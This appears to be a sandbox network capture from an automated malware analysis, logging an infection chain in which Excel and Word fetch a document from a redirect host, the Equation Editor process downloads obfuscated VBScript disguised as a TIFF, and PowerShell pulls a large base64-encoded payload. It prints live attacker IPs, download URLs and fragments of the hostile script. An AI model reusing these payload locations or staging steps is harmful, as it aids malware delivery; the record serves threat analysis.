Oct 7, 2024 07:14:33.031553984 CEST	1236	IN	Data Raw: 20 09 20 09 20 09 20 09 20 20 09 20 20 20 20 20 09 20 20 09 20 09 09 09 20 20 20 20 20 20 09 09 09 09 20 09 09 09 32 65 0a 0a 0a 0a 0a 0a 0d 0a 0a 0a 0d 0d 0d 0d 0d 30 09 09 09 09 20 09 20 20 09 09 20 09 09 20 20 09 09 20 09 20 20 09 09 09 20 20 Data Ascii: 2e0 2 0000
Oct 7, 2024 07:14:33.031569004 CEST	1236	IN	Data Raw: 20 09 09 09 09 09 09 09 09 20 09 09 20 09 09 09 30 30 09 20 20 09 09 09 20 20 20 20 20 09 09 09 09 09 20 09 09 20 09 20 09 20 09 20 20 09 20 20 20 20 20 09 09 20 09 20 09 20 20 20 20 09 09 09 09 09 09 20 20 20 09 20 20 20 09 20 09 09 09 20 09 20 Data Ascii: 00 00000 0
Oct 7, 2024 07:14:33.036525965 CEST	1236	IN	Data Raw: 09 20 20 09 20 09 09 09 20 09 20 20 09 20 20 20 09 20 09 09 20 09 09 20 20 20 09 09 09 20 20 20 09 20 20 09 09 09 20 09 20 20 09 20 20 09 20 20 09 20 09 20 20 09 62 20 20 09 20 20 20 20 20 20 09 20 20 20 09 09 20 20 09 09 20 20 09 09 09 09 20 09 Data Ascii: b 81c3 e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49169	38.240.41.28	80	3792	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 07:14:48.446644068 CEST	299	OUT	HEAD /333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 38.240.41.28 Content-Length: 0 Connection: Keep-Alive
Oct 7, 2024 07:14:49.289314032 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 07 Oct 2024 01:19:01 GMT ETag: "1c07d-623d8ce48b2ee" Accept-Ranges: bytes Content-Length: 114813 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49170	38.240.41.28	80	3168	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 07:14:49.591789007 CEST	335	OUT	GET /333/wegivenewthingssoonsweetness.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 38.240.41.28 Connection: Keep-Alive
Oct 7, 2024 07:14:50.643018961 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:50 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 07 Oct 2024 01:16:14 GMT ETag: "2f7f2-623d8c45fe025" Accept-Ranges: bytes Content-Length: 194546 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 6c 00 79 00 63 00 61 00 6e 00 74 00 68 00 72 00 6f 00 70 00 69 00 61 00 28 00 65 00 6e 00 61 00 6e 00 74 00 68 00 65 00 6d 00 61 00 2c 00 20 00 70 00 72 00 65 00 73 00 73 00 75 00 72 00 6f 00 73 00 6f 00 2c 00 20 00 70 00 75 00 78 00 69 00 72 00 75 00 6d 00 2c 00 20 00 73 00 65 00 6d 00 69 00 6c 00 6f 00 75 00 72 00 6f 00 2c 00 20 00 65 00 78 00 68 00 69 00 62 00 69 00 63 00 69 00 6f 00 6e 00 69 00 73 00 6d 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 69 00 6c 00 74 00 65 00 72 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 64 00 69 00 61 00 6c 00 65 00 63 00 74 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 72 00 65 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 6f 00 72 00 6d 00 61 00 74 00 74 00 65 00 64 00 54 00 65 00 78 00 74 00 [TRUNCATED] Data Ascii: private function lycanthropia(enanthema, pressuroso, puxirum, semilouro, exhibicionismo) dim filter dim dialect dim e dim res dim formattedText dim flags flags = 0 if puxirum.ArgumentExists(NPARA_FILTER) then filter = puxirum.Argument(NPARA_FILTER) dialect = URI_WQL_DIALECT end if if puxirum.ArgumentExists(NPARA_DIALECT) then dialect = puxirum.Argument(NPARA_DIA
Oct 7, 2024 07:14:50.643079996 CEST	1236	IN	Data Raw: 00 4c 00 45 00 43 00 54 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 65 00 6e 00 64 00 20 00 69 00 66 00 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 49 00 66 00 20 00 4c 00 43 00 61 00 73 00 65 00 28 00 64 00 69 00 61 Data Ascii: LECT) end if If LCase(dialect) = "selector" Then dialect = "http://schemas.dmtf.org/wbem/wsman/1
Oct 7, 2024 07:14:50.643166065 CEST	1236	IN	Data Raw: 00 65 00 72 00 20 00 26 00 20 00 22 00 3c 00 77 00 73 00 6d 00 61 00 6e 00 3a 00 53 00 65 00 6c 00 65 00 63 00 74 00 6f 00 72 00 20 00 4e 00 61 00 6d 00 65 00 3d 00 27 00 22 00 20 00 26 00 20 00 45 00 73 00 63 00 61 00 70 00 65 00 28 00 6e 00 61 Data Ascii: er & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>" Next filter =
Oct 7, 2024 07:14:50.643201113 CEST	1236	IN	Data Raw: 00 2c 00 20 00 22 00 2d 00 22 00 20 00 26 00 20 00 4e 00 50 00 41 00 52 00 41 00 5f 00 46 00 49 00 4c 00 54 00 45 00 52 00 20 00 26 00 20 00 22 00 20 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 20 00 69 00 73 00 20 00 72 00 65 00 71 Data Ascii: , "-" & NPARA_FILTER & " parameter is required for the given dialect" End If If (puxirum.ArgumentExists
Oct 7, 2024 07:14:50.643239021 CEST	1236	IN	Data Raw: 00 6d 00 2e 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 45 00 78 00 69 00 73 00 74 00 73 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 52 00 45 00 54 00 55 00 52 00 4e 00 5f 00 54 00 59 00 50 00 45 00 29 00 20 00 74 00 68 00 65 00 6e 00 0d Data Ascii: m.ArgumentExists(NPARA_RETURN_TYPE) then select case LCase(puxirum.Argument(NPARA_RETURN_TYPE)) cas
Oct 7, 2024 07:14:50.643273115 CEST	1236	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 66 00 6c 00 61 00 67 00 73 00 20 00 3d 00 20 00 66 00 6c 00 61 00 67 00 73 00 20 00 4f 00 52 00 20 00 65 00 6e 00 61 00 6e 00 74 00 68 00 65 00 6d 00 61 00 2e 00 45 00 6e 00 75 00 6d 00 65 00 72 Data Ascii: flags = flags OR enanthema.EnumerationFlagHierarchyShallow elseif (puxirum.ArgumentExists(NPARA_BASE_PROPS_O
Oct 7, 2024 07:14:50.643311977 CEST	1236	IN	Data Raw: 00 61 00 67 00 73 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 64 00 20 00 69 00 66 00 0d 00 0a 00 20 00 20 00 20 00 20 00 65 00 6e 00 64 00 20 00 69 00 66 00 0d 00 0a 00 20 00 20 00 20 00 20 00 41 00 53 00 53 Data Ascii: ags) end if end if ASSERTERR pressuroso, exhibicionismo on error goto 0 if puxirum.Arg
Oct 7, 2024 07:14:50.643349886 CEST	1000	IN	Data Raw: 00 20 00 65 00 2e 00 52 00 65 00 61 00 64 00 49 00 74 00 65 00 6d 00 28 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 64 00 20 00 69 00 66 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 Data Ascii: e.ReadItem() end if end if if Err.Number <> 0 then stdErr.WriteLine e.Error
Oct 7, 2024 07:14:50.643412113 CEST	1236	IN	Data Raw: 00 20 00 69 00 66 00 28 00 4c 00 43 00 61 00 73 00 65 00 28 00 65 00 78 00 68 00 69 00 62 00 69 00 63 00 69 00 6f 00 6e 00 69 00 73 00 6d 00 6f 00 29 00 20 00 3c 00 3e 00 20 00 56 00 41 00 4c 00 5f 00 46 00 4f 00 52 00 4d 00 41 00 54 00 5f 00 54 Data Ascii: if(LCase(exhibicionismo) <> VAL_FORMAT_TEXT) then wscript.echo "</wsman:Results>" end if
Oct 7, 2024 07:14:50.643449068 CEST	1236	IN	Data Raw: 00 4e 00 69 00 63 00 57 00 55 00 4c 00 43 00 63 00 6c 00 4b 00 22 00 0d 00 0a 00 78 00 53 00 63 00 47 00 67 00 65 00 42 00 62 00 4b 00 69 00 6b 00 4c 00 71 00 4b 00 57 00 20 00 3d 00 20 00 22 00 6c 00 68 00 4f 00 6b 00 4b 00 4b 00 57 00 70 00 47 Data Ascii: NicWULCclK"xScGgeBbKikLqKW = "lhOkKKWpGpIWGCW"kLLCWGpapRmhbKL = "ZLqzANSecOsKtKW"iiWQUALALQTuWGA = "dsNmWmWWmocdiKK
Oct 7, 2024 07:14:50.643487930 CEST	1236	IN	Data Raw: 00 55 00 55 00 51 00 69 00 20 00 3d 00 20 00 22 00 73 00 71 00 55 00 66 00 70 00 4f 00 50 00 50 00 57 00 63 00 57 00 69 00 4e 00 62 00 63 00 22 00 0d 00 0a 00 4e 00 55 00 42 00 43 00 50 00 50 00 4b 00 49 00 6f 00 70 00 65 00 64 00 65 00 69 00 55 Data Ascii: UUQi = "sqUfpOPPWcWiNbc"NUBCPPKIopedeiU = "ehpWPKZWGKChzAq"UkfizcHcpvNfLLK = "AdSmUULUKWkAzeh"ujpWHGWNKjkWhQA = "
Oct 7, 2024 07:14:50.877036095 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:50 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 07 Oct 2024 01:16:14 GMT ETag: "2f7f2-623d8c45fe025" Accept-Ranges: bytes Content-Length: 194546 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 6c 00 79 00 63 00 61 00 6e 00 74 00 68 00 72 00 6f 00 70 00 69 00 61 00 28 00 65 00 6e 00 61 00 6e 00 74 00 68 00 65 00 6d 00 61 00 2c 00 20 00 70 00 72 00 65 00 73 00 73 00 75 00 72 00 6f 00 73 00 6f 00 2c 00 20 00 70 00 75 00 78 00 69 00 72 00 75 00 6d 00 2c 00 20 00 73 00 65 00 6d 00 69 00 6c 00 6f 00 75 00 72 00 6f 00 2c 00 20 00 65 00 78 00 68 00 69 00 62 00 69 00 63 00 69 00 6f 00 6e 00 69 00 73 00 6d 00 6f 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 69 00 6c 00 74 00 65 00 72 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 64 00 69 00 61 00 6c 00 65 00 63 00 74 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 72 00 65 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 66 00 6f 00 72 00 6d 00 61 00 74 00 74 00 65 00 64 00 54 00 65 00 78 00 74 00 [TRUNCATED] Data Ascii: private function lycanthropia(enanthema, pressuroso, puxirum, semilouro, exhibicionismo) dim filter dim dialect dim e dim res dim formattedText dim flags flags = 0 if puxirum.ArgumentExists(NPARA_FILTER) then filter = puxirum.Argument(NPARA_FILTER) dialect = URI_WQL_DIALECT end if if puxirum.ArgumentExists(NPARA_DIALECT) then dialect = puxirum.Argument(NPARA_DIA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49174	38.240.41.28	80	1368	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 07:14:59.289355040 CEST	76	OUT	GET /333/RCCRER.txt HTTP/1.1 Host: 38.240.41.28 Connection: Keep-Alive
Oct 7, 2024 07:15:00.134068966 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 07 Oct 2024 00:23:27 GMT ETag: "112d58-623d8079a31c8" Accept-Ranges: bytes Content-Length: 1125720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1wLAAAADAwA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 7, 2024 07:15:00.134120941 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 7, 2024 07:15:00.134181976 CEST	1236	IN	Data Raw: 41 50 42 41 49 41 55 47 41 6e 42 51 59 41 49 48 41 76 42 41 64 41 4d 46 41 41 41 41 41 41 55 47 41 74 42 51 59 41 34 45 41 30 42 77 59 41 55 48 41 6b 42 77 62 41 49 48 41 51 42 51 41 41 41 42 41 41 42 41 41 41 41 41 41 6c 42 41 65 41 55 47 41 75 Data Ascii: APBAIAUGAnBQYAIHAvBAdAMFAAAAAAUGAtBQYA4EA0BwYAUHAkBwbAIHAQBQAAABAABAAAAAAlBAeAUGAuAgbAMHALBgQAAAAlBQbAEGAuBQZAwGApBgRAwGAhBgbAkGAnBQaAIHAPBQAAkAA6AAAAAAAAAAAAMHArBgcAEGAtBQZAQGAhBgcAQFAsBQYAcGAlBATAEAABAgKAAAAuAAZAUGA2BgcAUGAzBQZAIHAgAwcAQHAoB
Oct 7, 2024 07:15:00.134217978 CEST	672	IN	Data Raw: 41 41 41 42 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgAQJ/DAAAAAAAwGbk5SZlJ3bjNXbA4Wah1UZ4VkcvN0XAAAAAAAAAAAAAAAD1vJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMUfqAAAAAAAAAAAAMU/j/sf7UninJ9fK3g
Oct 7, 2024 07:15:00.134254932 CEST	1236	IN	Data Raw: 76 51 7a 46 52 62 5a 75 49 4a 6d 6a 2f 35 61 45 42 4a 70 41 78 63 4e 49 69 46 75 70 2b 4c 46 68 46 56 48 42 52 53 37 66 73 47 57 77 79 48 73 67 2b 75 73 47 54 2b 6a 6f 67 49 39 33 73 6a 41 72 49 49 5a 75 49 6c 7a 42 52 70 30 48 39 57 4c 53 4c 66 Data Ascii: vQzFRbZuIJmj/5aEBJpAxcNIiFup+LFhFVHBRS7fsGWwyHsg+usGT+jogI93sjArIIZuIlzBRp0H9WLSLfQcU20/9SaHBJpGxc1HxCd17oGLE7lbL9ASzK3JWhlBcboOoBMOidDDuYsFRhYuHT4x+LnCVpI+XzC8n+m3xVEpbiL4VvJaAW3LTMplDY8ZK89coe1XsOYr4KrCFQ2uCJ0wyq0WmlJ+aWGFISWNoCWGah0Wdksl7Dt
Oct 7, 2024 07:15:00.134289026 CEST	1236	IN	Data Raw: 43 33 79 47 52 34 41 2b 70 30 45 57 4f 78 36 44 35 76 61 45 34 51 4d 74 63 4c 77 51 64 37 4e 39 7a 74 4b 69 4b 6b 5a 4f 77 2b 56 36 33 59 79 34 69 41 58 68 59 59 71 58 4b 58 2b 4b 67 44 48 5a 51 2f 4c 73 6d 34 4b 31 58 43 6d 4d 32 73 63 47 77 7a Data Ascii: C3yGR4A+p0EWOx6D5vaE4QMtcLwQd7N9ztKiKkZOw+V63Yy4iAXhYYqXKX+KgDHZQ/Lsm4K1XCmM2scGwzaXBBCaU/+KhKhfK9fVwkuuNrAelMDeuGb3NrlMkStmMKn1ZzsjyibT2KmrzyaWoUvyEQ1iqOqbydEDq0NiY+mgNBVcaLXB8KrWY6ITx8ZQp7uQGoSchFAfGyZwXO0gZpsS4BFL6vKYZInBfT0B9XFMKe9gJ6vC4Wr
Oct 7, 2024 07:15:00.134396076 CEST	1236	IN	Data Raw: 5a 55 49 75 35 5a 74 6b 7a 45 65 4a 59 55 6d 6c 4c 4a 4c 34 59 6d 53 64 49 77 6f 6c 74 55 7a 43 48 39 33 7a 36 55 59 69 4f 5a 45 36 4d 45 57 72 37 56 55 4c 4e 6d 45 33 6c 38 6b 41 33 61 4f 42 4f 62 63 75 6b 34 6f 43 78 51 4c 4f 56 59 62 36 6f 31 Data Ascii: ZUIu5ZtkzEeJYUmlLJL4YmSdIwoltUzCH93z6UYiOZE6MEWr7VULNmE3l8kA3aOBObcuk4oCxQLOVYb6o1pIY34R0zElulxcfEr3NWIvvygu8wVLAaUDQbvoyXQ/PQA6T2M25yUoCaUsQIWZYDmWDKo0tKFboAUYF/gFTrzPiOdOVLKbFGoT+jJSGEp7o2IIVZlNCBO3BSPQxgAspoBTPuhPKwIz8fdRDpHQROFEByiPKgoAZnG
Oct 7, 2024 07:15:00.134429932 CEST	1236	IN	Data Raw: 4d 58 74 35 47 38 77 5a 79 61 6b 4d 35 46 65 76 4a 74 52 49 72 5a 74 6f 56 61 75 6e 74 49 53 57 64 30 4e 63 42 66 68 57 44 6b 6e 32 43 75 6a 70 61 37 38 4d 68 74 39 7a 4c 4b 69 38 7a 75 65 6b 45 30 57 7a 6b 63 35 34 68 36 63 4b 52 69 55 4f 41 76 Data Ascii: MXt5G8wZyakM5FevJtRIrZtoVauntISWd0NcBfhWDkn2Cujpa78Mht9zLKi8zuekE0Wzkc54h6cKRiUOAvtImovJQWp832AYyHH3dpB0mtxwqfZDgS3uvukhyKMrNysuUBGjMJqHe4aS+ItCafbThlU+8ohTnJCJIFzkJ/nntqYmDmH4OQv4W00/5Z8IQNpYQ0H1TsF4BRu0PKIR4M9vSLb4JwzSvCwMmUc62iUisUIfrQK9fdb
Oct 7, 2024 07:15:00.134463072 CEST	1236	IN	Data Raw: 36 44 79 57 52 6a 6c 6b 4f 78 6a 2f 4e 72 64 38 30 61 6a 62 65 32 77 64 72 54 65 69 30 7a 65 54 6b 54 66 7a 32 32 6f 68 38 41 65 56 35 4d 78 62 31 64 69 65 54 4c 2b 4d 4f 6f 61 5a 7a 4a 4f 4e 76 64 64 4d 6c 4d 73 62 79 71 4d 2f 72 4c 2b 41 50 58 Data Ascii: 6DyWRjlkOxj/Nrd80ajbe2wdrTei0zeTkTfz22oh8AeV5Mxb1dieTL+MOoaZzJONvddMlMsbyqM/rL+APXvnF3Tiu3zTC9Rp5VmsL7WuO9jOm7SPoKJRig1VxbrID5YsNI4HqwryqXPAchm2wcj2hu0on5zG7L1Yy/WeINbwZ87Rd4TuaUSQH91pO0fusYVgW4Qm5VwuVQv6S9Kvws9Q8w5cLeSZRVAYuDnl4W3cq/9VZHjY80l
Oct 7, 2024 07:15:00.134500027 CEST	1236	IN	Data Raw: 30 30 55 79 59 63 51 50 49 61 58 55 48 73 66 47 6c 42 7a 4a 31 64 67 34 39 54 4e 53 76 4a 75 46 54 41 79 48 6d 48 6a 4e 73 74 4f 42 30 49 58 48 6e 76 6a 35 2b 53 53 6e 38 43 64 65 6d 50 35 75 59 75 62 31 57 73 46 43 34 57 51 39 2f 7a 62 6c 73 4b Data Ascii: 00UyYcQPIaXUHsfGlBzJ1dg49TNSvJuFTAyHmHjNstOB0IXHnvj5+SSn8CdemP5uYub1WsFC4WQ9/zblsKO6tJMXYlexmZeZO6F6jMHfpokIpU4DMrbwqR0ghDq74re73pELRcHj3Av7O0M951V3sbFp29z0Jl7U4qFjcbTSf8iywCjsOU0ZwChFLzDsofk/M/Nz3++kPyrw7x8iJenXFzxc28gZ+Ih/M/2xZkY+FKcZYbF1JpK
Oct 7, 2024 07:15:00.139509916 CEST	1236	IN	Data Raw: 37 43 78 4e 70 6a 36 64 5a 73 62 47 4f 56 65 37 72 31 37 4f 6e 78 56 4e 30 74 77 58 64 33 49 54 2b 63 38 6d 36 59 71 2f 55 74 2f 4f 6a 41 76 71 55 54 70 46 6c 33 62 53 74 72 47 6f 76 76 71 6c 75 37 2b 66 49 74 4a 76 4b 65 37 55 33 55 58 72 6e 4f Data Ascii: 7CxNpj6dZsbGOVe7r17OnxVN0twXd3IT+c8m6Yq/Ut/OjAvqUTpFl3bStrGovvqlu7+fItJvKe7U3UXrnOxtqj/y8D8lSqyrcrSg44c536LWXIcNUWDTtuCDRUzg+5L2jpwIOpHM9jsZPa1skanrslY2yaR4v141OMzNb5uBW7pl9/vn23P7rrpr7358fP+B6X1ucby95Z/8cv/mz63/adq2oqftvaXrf71et0y/8rucSrxjiVD

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	14.194.50.211	443	3524	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:31 UTC	317	OUT	GET /a080 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: m2g.me Connection: Keep-Alive
2024-10-07 05:14:32 UTC	394	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 05:14:31 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Location: http://38.240.41.28/333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	14.194.50.211	443	3792	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:34 UTC	128	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: m2g.me Content-Length: 0 Connection: Keep-Alive
2024-10-07 05:14:35 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:35 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:35 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49164	14.194.50.211	443	3792	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

